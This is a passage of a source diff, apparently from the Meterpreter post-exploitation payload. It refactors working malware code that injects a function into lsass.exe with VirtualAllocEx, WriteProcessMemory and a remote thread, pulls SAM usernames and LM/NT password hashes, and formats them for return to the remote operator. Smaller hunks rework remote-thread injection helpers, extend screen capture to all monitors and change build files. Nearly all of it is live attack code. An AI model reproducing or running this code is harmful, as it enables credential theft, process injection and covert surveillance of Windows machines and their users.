BREAK_ON_ERROR("[PASSWD] Unable to get kernel32 handle");
|
||||
}
|
||||
|
||||
fargs->LoadLibrary = (LoadLibraryType)GetProcAddress(hLibrary, "LoadLibraryA");
|
||||
fargs->GetProcAddress = (GetProcAddressType)GetProcAddress(hLibrary, "GetProcAddress");
|
||||
@ -415,9 +594,11 @@ int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait) {
|
||||
fargs->CloseHandle = (CloseHandleType)GetProcAddress(hLibrary, "CloseHandle");
|
||||
fargs->WaitForSingleObject = (WaitForSingleObjectType)GetProcAddress(hLibrary, "WaitForSingleObject");
|
||||
|
||||
if (!fargs->LoadLibrary || !fargs->GetProcAddress || !fargs->FreeLibrary || !fargs->OpenEvent || !fargs->SetEvent || !fargs->CloseHandle || !fargs->WaitForSingleObject) {
|
||||
CloseHandle(hLibrary);
|
||||
return 1;
|
||||
if (!fargs->LoadLibrary || !fargs->GetProcAddress || !fargs->FreeLibrary || !fargs->OpenEvent || !fargs->SetEvent || !fargs->CloseHandle || !fargs->WaitForSingleObject)
|
||||
{
|
||||
dwResult = ERROR_INVALID_PARAMETER;
|
||||
dprintf("[PASSWD] Unable to find all required functions");
|
||||
break;
|
||||
}
|
||||
|
||||
/* initialize samsrv strings */
|
||||
@ -449,8 +630,8 @@ int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait) {
|
||||
strncpy_s(fargs->wcstombs, sizeof(fargs->wcstombs), "wcstombs", sizeof(fargs->wcstombs));
|
||||
|
||||
/* initialize kernel sync objects */
|
||||
strncpy_s(fargs->ReadSyncEvent, sizeof(fargs->ReadSyncEvent), "SAM", sizeof(fargs->ReadSyncEvent));
|
||||
strncpy_s(fargs->FreeSyncEvent, sizeof(fargs->FreeSyncEvent), "FREE", sizeof(fargs->FreeSyncEvent));
|
||||
strncpy_s(fargs->ReadSyncEvent, sizeof(fargs->ReadSyncEvent), READ_SYNC_EVENT_NAME, sizeof(fargs->ReadSyncEvent));
|
||||
strncpy_s(fargs->FreeSyncEvent, sizeof(fargs->FreeSyncEvent), FREE_SYNC_EVENT_NAME, sizeof(fargs->FreeSyncEvent));
|
||||
|
||||
/* initialize wait time */
|
||||
fargs->dwMillisecondsToWait = dwMillisecondsToWait;
|
||||
@ -459,24 +640,30 @@ int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait) {
|
||||
fargs->dwDataSize = 0;
|
||||
fargs->pUsernameHashData = NULL;
|
||||
|
||||
/* clean up */
|
||||
CloseHandle(hLibrary);
|
||||
dwResult = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
return 0;
|
||||
if (hLibrary != NULL)
|
||||
{
|
||||
FreeLibrary(hLibrary);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
control function driving the dumping - return 0 on success, 1 on error
|
||||
|
||||
dwMillisecondsToWait = basically controls how long to wait for the results
|
||||
/*!
|
||||
* @brief Function driving the SAM dumping.
|
||||
* @param dwMillisecondsToWait How long to wait for the results before giving up.
|
||||
* @param hashresults Pointer that will receive the hash dump results.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults) {
|
||||
|
||||
DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults)
|
||||
{
|
||||
HANDLE hThreadHandle = NULL, hLsassHandle = NULL, hReadLock = NULL, hFreeLock = NULL;
|
||||
LPVOID pvParameterMemory = NULL, pvFunctionMemory = NULL;
|
||||
int FunctionSize;
|
||||
DWORD_PTR dwFunctionSize;
|
||||
SIZE_T sBytesWritten = 0, sBytesRead = 0;
|
||||
DWORD dwThreadId = 0, dwNumberOfUsers = 0, dwCurrentUserIndex = 0, HashIndex = 0;
|
||||
DWORD dwNumberOfUsers = 0, dwCurrentUserIndex = 0, HashIndex = 0;
|
||||
FUNCTIONARGS InitFunctionArguments, FinalFunctionArguments;
|
||||
USERNAMEHASH *UsernameHashResults = NULL;
|
||||
PVOID UsernameAddress = NULL;
|
||||
@ -487,166 +674,281 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
|
||||
char buffer[100];
|
||||
/* END METERPRETER CODE */
|
||||
|
||||
do {
|
||||
do
|
||||
{
|
||||
|
||||
/* ORANGE control input - move this to the client perl side */
|
||||
if (dwMillisecondsToWait < 60000) { dwMillisecondsToWait = 60000; }
|
||||
if (dwMillisecondsToWait > 300000) { dwMillisecondsToWait = 300000; }
|
||||
if (dwMillisecondsToWait < 60000)
|
||||
{
|
||||
dwMillisecondsToWait = 60000;
|
||||
}
|
||||
if (dwMillisecondsToWait > 300000)
|
||||
{
|
||||
dwMillisecondsToWait = 300000;
|
||||
}
|
||||
|
||||
/* create the event kernel sync objects */
|
||||
hReadLock = CreateEvent(NULL, FALSE, FALSE, "SAM");
|
||||
hFreeLock = CreateEvent(NULL, FALSE, FALSE, "FREE");
|
||||
if (!hReadLock || !hFreeLock) { dwError = 1; break; }
|
||||
hReadLock = CreateEvent(NULL, FALSE, FALSE, READ_SYNC_EVENT_NAME);
|
||||
hFreeLock = CreateEvent(NULL, FALSE, FALSE, FREE_SYNC_EVENT_NAME);
|
||||
|
||||
if (!hReadLock || !hFreeLock)
|
||||
{
|
||||
dwError = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
/* calculate the function size */
|
||||
FunctionSize = (DWORD)sizer - (DWORD)dumpSAM;
|
||||
if (FunctionSize <= 0) {
|
||||
dprintf("Error calculating the function size.\n");
|
||||
dwError = 1;
|
||||
if ((DWORD_PTR)dump_sam >= (DWORD_PTR)sizer)
|
||||
{
|
||||
dprintf("Error calculating the function size.");
|
||||
dwError = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
}
|
||||
|
||||
/* set access priv */
|
||||
if (SetAccessPriv() == 0) {
|
||||
dprintf("Error setting SE_DEBUG_NAME privilege\n");
|
||||
dwError = 1;
|
||||
dwFunctionSize = (DWORD_PTR)sizer - (DWORD_PTR)dump_sam;
|
||||
|
||||
if ((dwError = set_access_priv()) != ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("Error setting SE_DEBUG_NAME privilege: %u (%x)");
|
||||
break;
|
||||
}
|
||||
|
||||
/* get the lsass handle */
|
||||
hLsassHandle = GetLsassHandle();
|
||||
if (hLsassHandle == 0) {
|
||||
dprintf("Error getting lsass.exe handle.\n");
|
||||
dwError = 1;
|
||||
hLsassHandle = get_lsass_handle();
|
||||
if (hLsassHandle == 0)
|
||||
{
|
||||
dwError = ERROR_INVALID_PARAMETER;
|
||||
dprintf("Error getting lsass.exe handle.");
|
||||
break;
|
||||
}
|
||||
|
||||
/* set the arguments in the context structure */
|
||||
if (setArgs(&InitFunctionArguments, dwMillisecondsToWait)) { dwError = 1; break; }
|
||||
if ((dwError = setup_dump_sam_arguments(&InitFunctionArguments, dwMillisecondsToWait)) != ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("[PASSWD] Unable to set arguments %u (%x)", dwError, dwError);
|
||||
break;
|
||||
}
|
||||
|
||||
/* allocate memory for the context structure */
|
||||
pvParameterMemory = VirtualAllocEx(hLsassHandle, NULL, sizeof(FUNCTIONARGS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (pvParameterMemory == NULL) { dwError = 1; break; }
|
||||
if (pvParameterMemory == NULL)
|
||||
{
|
||||
dwError = GetLastError();
|
||||
dprintf("[PASSWD] Failed to allocat memory %u (%x)", dwError, dwError);
|
||||
break;
|
||||
}
|
||||
|
||||
/* write context structure into remote process */
|
||||
if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &sBytesWritten) == 0) { dwError = 1; break; }
|
||||
if (sBytesWritten != sizeof(InitFunctionArguments)) { dwError = 1; break; }
|
||||
if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &sBytesWritten) == 0)
|
||||
{
|
||||
dwError = GetLastError();
|
||||
dprintf("[PASSWD] Failed to write process memory for function args %u (%x)", dwError, dwError);
|
||||
break;
|
||||
}
|
||||
if (sBytesWritten != sizeof(InitFunctionArguments))
|
||||
{
|
||||
dwError = 1;
|
||||
break;
|
||||
}
|
||||
sBytesWritten = 0;
|
||||
|
||||
/* allocate memory for the function */
|
||||
pvFunctionMemory = VirtualAllocEx(hLsassHandle, NULL, FunctionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (pvFunctionMemory == NULL) { dwError = 1; break; }
|
||||
pvFunctionMemory = VirtualAllocEx(hLsassHandle, NULL, dwFunctionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (pvFunctionMemory == NULL)
|
||||
{
|
||||
dwError = GetLastError();
|
||||
dprintf("[PASSWD] Failed to allocate process memory %u (%x)", dwError, dwError);
|
||||
break;
|
||||
}
|
||||
|
||||
/* write the function into the remote process */
|
||||
if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dumpSAM, FunctionSize, &sBytesWritten) == 0) { dwError = 1; break; }
|
||||
if (sBytesWritten != FunctionSize) { dwError = 1; break; }
|
||||
if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dump_sam, dwFunctionSize, &sBytesWritten) == 0)
|
||||
{
|
||||
dwError = GetLastError();
|
||||
dprintf("[PASSWD] Failed to write process memory for function body %u (%x)", dwError, dwError);
|
||||
break;
|
||||
}
|
||||
|
||||
if (sBytesWritten != dwFunctionSize)
|
||||
{
|
||||
dwError = 1;
|
||||
break;
|
||||
}
|
||||
sBytesWritten = 0;
|
||||
|
||||
/* start the remote thread */
|
||||
if ((hThreadHandle = CreateRemoteThread(hLsassHandle, NULL, 0, (LPTHREAD_START_ROUTINE)pvFunctionMemory, pvParameterMemory, 0, &dwThreadId)) == NULL) { dwError = 1; break; }
|
||||
if ((hThreadHandle = create_remote_thread(hLsassHandle, 0, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL)
|
||||
{
|
||||
dwError = GetLastError();
|
||||
dprintf("[PASSWD] Failed to create remote thread %u (%x)", dwError, dwError);
|
||||
break;
|
||||
}
|
||||
|
||||
/* wait until the data is ready to be collected */
|
||||
if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
|
||||
dprintf("Timed out waiting for the data to be collected.\n");
|
||||
dwError = 1;
|
||||
if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0)
|
||||
{
|
||||
dwError = GetLastError();
|
||||
dprintf("[PASSWD] Timed out waiting for the data to be collected: %u (%x)", dwError, dwError);
|
||||
break;
|
||||
}
|
||||
|
||||
/* read results of the injected function */
|
||||
if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &sBytesRead) == 0) { dwError = 1; break; }
|
||||
if (sBytesRead != sizeof(InitFunctionArguments)) { dwError = 1; break; }
|
||||
if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &sBytesRead) == 0)
|
||||
{
|
||||
dwError = GetLastError();
|
||||
dprintf("[PASSWD] Failed to read process memory to get result: %u (%x)", dwError, dwError);
|
||||
break;
|
||||
}
|
||||
if (sBytesRead != sizeof(InitFunctionArguments))
|
||||
{
|
||||
dwError = 1;
|
||||
break;
|
||||
}
|
||||
sBytesRead = 0;
|
||||
|
||||
/* allocate space for the results */
|
||||
UsernameHashResults = (USERNAMEHASH *)malloc(FinalFunctionArguments.dwDataSize);
|
||||
if (UsernameHashResults == NULL) { dwError = 1; break; }
|
||||
if (UsernameHashResults == NULL)
|
||||
{
|
||||
dwError = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
/* determine the number of elements and copy over the data */
|
||||
dwNumberOfUsers = FinalFunctionArguments.dwDataSize / sizeof(USERNAMEHASH);
|
||||
|
||||
/* copy the context structure */
|
||||
if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &sBytesRead) == 0) { break; }
|
||||
if (sBytesRead != FinalFunctionArguments.dwDataSize) { break; }
|
||||
if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &sBytesRead) == 0)
|
||||
{
|
||||
dwError = GetLastError();
|
||||
dprintf("[PASSWD] Failed to read process memory to get hashresults: %u (%x)", dwError, dwError);
|
||||
break;
|
||||
}
|
||||
if (sBytesRead != FinalFunctionArguments.dwDataSize)
|
||||
{
|
||||
break;
|
||||
}
|
||||
sBytesRead = 0;
|
||||
|
||||
// save the old mem addy, malloc new space, copy over the data, free the old mem addy
|
||||
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
|
||||
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++)
|
||||
{
|
||||
UsernameAddress = UsernameHashResults[dwCurrentUserIndex].Username;
|
||||
|
||||
UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length + 1);
|
||||
if (UsernameHashResults[dwCurrentUserIndex].Username == NULL) { dwError = 1; break; }
|
||||
if (UsernameHashResults[dwCurrentUserIndex].Username == NULL)
|
||||
{
|
||||
dwError = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0) { dwError = 1; break; }
|
||||
if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length) { dwError = 1; break; }
|
||||
UsernameHashResults[dwCurrentUserIndex].Username[ UsernameHashResults[dwCurrentUserIndex].Length ] = 0;
|
||||
if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0)
|
||||
{
|
||||
dwError = 1;
|
||||
break;
|
||||
}
|
||||
if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length)
|
||||
{
|
||||
dwError = 1;
|
||||
break;
|
||||
}
|
||||
UsernameHashResults[dwCurrentUserIndex].Username[UsernameHashResults[dwCurrentUserIndex].Length] = 0;
|
||||
}
|
||||
|
||||
/* signal that all data has been read and wait for the remote memory to be free'd */
|
||||
if (SetEvent(hFreeLock) == 0) { dwError = 1; break; }
|
||||
if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
|
||||
if (SetEvent(hFreeLock) == 0)
|
||||
{
|
||||
dwError = 1;
|
||||
break;
|
||||
}
|
||||
if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0)
|
||||
{
|
||||
dprintf("The timeout hit.\n");
|
||||
dwError = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
/* display the results and free the malloc'd memory for the username */
|
||||
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
|
||||
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++)
|
||||
{
|
||||
|
||||
/* METERPRETER CODE */
|
||||
hashstring = StringCombine(hashstring, UsernameHashResults[dwCurrentUserIndex].Username);
|
||||
hashstring = StringCombine(hashstring, ":");
|
||||
hashstring = string_combine(hashstring, UsernameHashResults[dwCurrentUserIndex].Username);
|
||||
hashstring = string_combine(hashstring, ":");
|
||||
_snprintf_s(buffer, sizeof(buffer), 30, "%d", UsernameHashResults[dwCurrentUserIndex].RID);
|
||||
hashstring = StringCombine(hashstring, buffer);
|
||||
hashstring = StringCombine(hashstring, ":");
|
||||
hashstring = string_combine(hashstring, buffer);
|
||||
hashstring = string_combine(hashstring, ":");
|
||||
/* END METERPRETER CODE */
|
||||
|
||||
//printf("%s:%d:", UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].RID);
|
||||
for (HashIndex = 16; HashIndex < 32; HashIndex++) {
|
||||
for (HashIndex = 16; HashIndex < 32; HashIndex++)
|
||||
{
|
||||
/* ORANGE - insert check for ***NO PASSWORD***
|
||||
if( (regData[4] == 0x35b4d3aa) && (regData[5] == 0xee0414b5)
|
||||
&& (regData[6] == 0x35b4d3aa) && (regData[7] == 0xee0414b5) )
|
||||
sprintf( LMdata, "NO PASSWORD*********************" );
|
||||
*/
|
||||
_snprintf_s(buffer, sizeof(buffer), 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
|
||||
hashstring = StringCombine(hashstring, buffer);
|
||||
hashstring = string_combine(hashstring, buffer);
|
||||
//printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
|
||||
}
|
||||
hashstring = StringCombine(hashstring, ":");
|
||||
hashstring = string_combine(hashstring, ":");
|
||||
//printf(":");
|
||||
for (HashIndex = 0; HashIndex < 16; HashIndex++) {
|
||||
for (HashIndex = 0; HashIndex < 16; HashIndex++)
|
||||
{
|
||||
/* ORANGE - insert check for ***NO PASSWORD***
|
||||
if( (regData[0] == 0xe0cfd631) && (regData[1] == 0x31e96ad1)
|
||||
&& (regData[2] == 0xd7593cb7) && (regData[3] == 0xc089c0e0) )
|
||||
sprintf( NTdata, "NO PASSWORD*********************" );
|
||||
*/
|
||||
_snprintf_s(buffer, sizeof(buffer), 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
|
||||
hashstring = StringCombine(hashstring, buffer);
|
||||
hashstring = string_combine(hashstring, buffer);
|
||||
//printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
|
||||
}
|
||||
|
||||
hashstring = StringCombine(hashstring, ":::\n");
|
||||
hashstring = string_combine(hashstring, ":::\n");
|
||||
//printf(":::\n");
|
||||
}
|
||||
} while(0);
|
||||
} while (0);
|
||||
|
||||
/* relesase the event objects */
|
||||
if (hReadLock) { CloseHandle(hReadLock); }
|
||||
if (hFreeLock) { CloseHandle(hFreeLock); }
|
||||
if (hReadLock)
|
||||
{
|
||||
CloseHandle(hReadLock);
|
||||
}
|
||||
if (hFreeLock)
|
||||
{
|
||||
CloseHandle(hFreeLock);
|
||||
}
|
||||
|
||||
/* close handle to lsass */
|
||||
if (hLsassHandle) { CloseHandle(hLsassHandle); }
|
||||
if (hLsassHandle)
|
||||
{
|
||||
CloseHandle(hLsassHandle);
|
||||
}
|
||||
|
||||
/* free the context structure and the injected function and the results */
|
||||
if (pvParameterMemory) { VirtualFreeEx(hLsassHandle, pvParameterMemory, sizeof(FUNCTIONARGS), MEM_RELEASE); }
|
||||
if (pvFunctionMemory) { VirtualFreeEx(hLsassHandle, pvFunctionMemory, FunctionSize, MEM_RELEASE); }
|
||||
if (pvParameterMemory)
|
||||
{
|
||||
VirtualFreeEx(hLsassHandle, pvParameterMemory, sizeof(FUNCTIONARGS), MEM_RELEASE);
|
||||
}
|
||||
if (pvFunctionMemory)
|
||||
{
|
||||
VirtualFreeEx(hLsassHandle, pvFunctionMemory, dwFunctionSize, MEM_RELEASE);
|
||||
}
|
||||
|
||||
/* free the remote thread handle */
|
||||
if (hThreadHandle) { CloseHandle(hThreadHandle); }
|
||||
if (hThreadHandle)
|
||||
{
|
||||
CloseHandle(hThreadHandle);
|
||||
}
|
||||
|
||||
/* free the results structure including individually malloced space for usernames */
|
||||
if (UsernameHashResults) {
|
||||
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
|
||||
if (UsernameHashResults[dwCurrentUserIndex].Username) {
|
||||
if (UsernameHashResults)
|
||||
{
|
||||
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++)
|
||||
{
|
||||
if (UsernameHashResults[dwCurrentUserIndex].Username)
|
||||
{
|
||||
free(UsernameHashResults[dwCurrentUserIndex].Username);
|
||||
}
|
||||
}
|
||||
@ -660,8 +962,11 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
|
||||
return dwError;
|
||||
}
|
||||
|
||||
/*
|
||||
* Grabs the LanMan Hashes from the SAM database.
|
||||
/*!
|
||||
* @brief Handler called by Meterpreter to dump SAM hashes remotely.
|
||||
* @param remote Pointer to the \c Remote instance for this request.
|
||||
* @param packet Pointer to the \c Packet containing the request.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet)
|
||||
{
|
||||
@ -671,10 +976,10 @@ DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet)
|
||||
|
||||
do
|
||||
{
|
||||
dprintf("[PASSWD] starting hash dumping");
|
||||
// Get the hashes
|
||||
if (control(120000, &hashes))
|
||||
if ((res = control(120000, &hashes)) != ERROR_SUCCESS)
|
||||
{
|
||||
res = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
@ -685,7 +990,9 @@ DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet)
|
||||
packet_transmit_response(res, remote, response);
|
||||
|
||||
if (hashes)
|
||||
{
|
||||
free(hashes);
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
@ -6,6 +6,7 @@
|
||||
#include "./elevate/elevate.h"
|
||||
#include "passwd.h"
|
||||
#include "fs.h"
|
||||
#include "../../../common//arch/win/remote_thread.h"
|
||||
|
||||
#include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
#include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h"
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "../../../../../common/arch/win/remote_thread.h"
|
||||
|
||||
ULONG get_thread_register_value(LPCONTEXT context, LPCSTR name,
|
||||
DWORD size);
|
||||
@ -89,9 +90,7 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
// Create the thread in the process supplied
|
||||
if (!(thread = CreateRemoteThread(process, NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)entryPoint, entryParam, createFlags,
|
||||
&threadId)))
|
||||
if (!(thread = create_remote_thread(process, 0, entryPoint, entryParam, createFlags, &threadId)))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "../../../../../common/arch/win/remote_thread.h"
|
||||
|
||||
DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
|
||||
LPVOID *buffer, DWORD length, DWORD prot);
|
||||
@ -24,24 +25,25 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
|
||||
// Copy the code and parameter storage
|
||||
if ((result = copy_memory_to_process(process, TRUE, &codeInProcess,
|
||||
length, PAGE_EXECUTE_READ)) != ERROR_SUCCESS)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
if ((result = copy_memory_to_process(process, TRUE, ¶mInProcess,
|
||||
parameterLength, PAGE_EXECUTE_READWRITE)) != ERROR_SUCCESS)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
// Create the thread in the target process
|
||||
if (!(thread = CreateRemoteThread(process, NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)codeInProcess, paramInProcess,
|
||||
0, &threadId)))
|
||||
if (!(thread = create_remote_thread(process, 0, codeInProcess, paramInProcess, 0, &threadId)))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Wait for the thread to terminate
|
||||
while ((wait = WaitForSingleObjectEx(thread, 1000,
|
||||
TRUE)) != WAIT_OBJECT_0)
|
||||
while ((wait = WaitForSingleObjectEx(thread, 1000, TRUE)) != WAIT_OBJECT_0)
|
||||
{
|
||||
if (wait == WAIT_FAILED)
|
||||
{
|
||||
@ -51,7 +53,9 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
|
||||
}
|
||||
|
||||
if (rv)
|
||||
{
|
||||
GetExitCodeThread(thread, rv);
|
||||
}
|
||||
|
||||
// Free the memory in the process
|
||||
if ((!VirtualFreeEx(process, codeInProcess, 0, MEM_RELEASE)) ||
|
||||
@ -60,13 +64,13 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
} while (0);
|
||||
|
||||
// Close the thread handle if one was obtained
|
||||
if (thread)
|
||||
{
|
||||
CloseHandle(thread);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
@ -86,8 +90,7 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
|
||||
if (allocate)
|
||||
{
|
||||
// Allocate storage for the buffer
|
||||
if (!(remoteBuffer = VirtualAllocEx(process, NULL,
|
||||
length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
|
||||
if (!(remoteBuffer = VirtualAllocEx(process, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
@ -95,8 +98,7 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
|
||||
}
|
||||
|
||||
// Copy the memory from local to remote
|
||||
if (!WriteProcessMemory(process, remoteBuffer,
|
||||
*buffer, length, &written))
|
||||
if (!WriteProcessMemory(process, remoteBuffer, *buffer, length, &written))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
@ -107,14 +109,12 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
|
||||
{
|
||||
DWORD old;
|
||||
|
||||
if (!VirtualProtectEx(process, remoteBuffer, length,
|
||||
prot, &old))
|
||||
if (!VirtualProtectEx(process, remoteBuffer, length, prot, &old))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
// Update the buffer pointer
|
||||
|
@ -72,9 +72,13 @@ DWORD screenshot( int quality, DWORD dwPipeName )
|
||||
// If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display.
|
||||
int xmetric = SM_CXVIRTUALSCREEN;
|
||||
int ymetric = SM_CYVIRTUALSCREEN;
|
||||
int xposition = SM_XVIRTUALSCREEN;
|
||||
int yposition = SM_YVIRTUALSCREEN;
|
||||
DWORD dwJpegSize = 0;
|
||||
int sx = 0;
|
||||
int sy = 0;
|
||||
int sxpos = 0;
|
||||
int sypos = 0;
|
||||
|
||||
do
|
||||
{
|
||||
@ -139,6 +143,15 @@ DWORD screenshot( int quality, DWORD dwPipeName )
|
||||
sx = GetSystemMetrics( xmetric );
|
||||
sy = GetSystemMetrics( ymetric );
|
||||
|
||||
// calculate the absolute virtual screen position
|
||||
// prevent breaking functionality on <= NT 4.0
|
||||
if (os.dwMajorVersion >= 4)
|
||||
{
|
||||
sxpos = GetSystemMetrics(xposition);
|
||||
sypos = GetSystemMetrics(yposition);
|
||||
}
|
||||
|
||||
|
||||
// and create a bitmap
|
||||
hbmp = CreateCompatibleBitmap( hdc, sx, sy );
|
||||
if( !hbmp )
|
||||
@ -149,7 +162,8 @@ DWORD screenshot( int quality, DWORD dwPipeName )
|
||||
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" );
|
||||
|
||||
// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created
|
||||
if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, 0, 0, SRCCOPY ) )
|
||||
// screenshot all available monitors by default
|
||||
if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, sxpos, sypos, SRCCOPY ) )
|
||||
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" );
|
||||
|
||||
// finally convert the BMP we just made into a JPEG...
|
||||
|
@ -446,6 +446,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
</Lib>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\source\common\arch\win\remote_thread.c" />
|
||||
<ClCompile Include="..\..\source\common\args.c" />
|
||||
<ClCompile Include="..\..\source\common\base.c" />
|
||||
<ClCompile Include="..\..\source\common\arch\win\i386\base_dispatch.c" />
|
||||
@ -465,6 +466,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ClCompile Include="..\..\source\common\zlib\zlib.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\source\common\arch\win\remote_thread.h" />
|
||||
<ClInclude Include="..\..\source\common\crypto\xor.h" />
|
||||
<ClInclude Include="..\..\source\common\args.h" />
|
||||
<ClInclude Include="..\..\source\common\base.h" />
|
||||
|
@ -115,6 +115,7 @@
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
@ -144,6 +145,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
</PrecompiledHeader>
|
||||
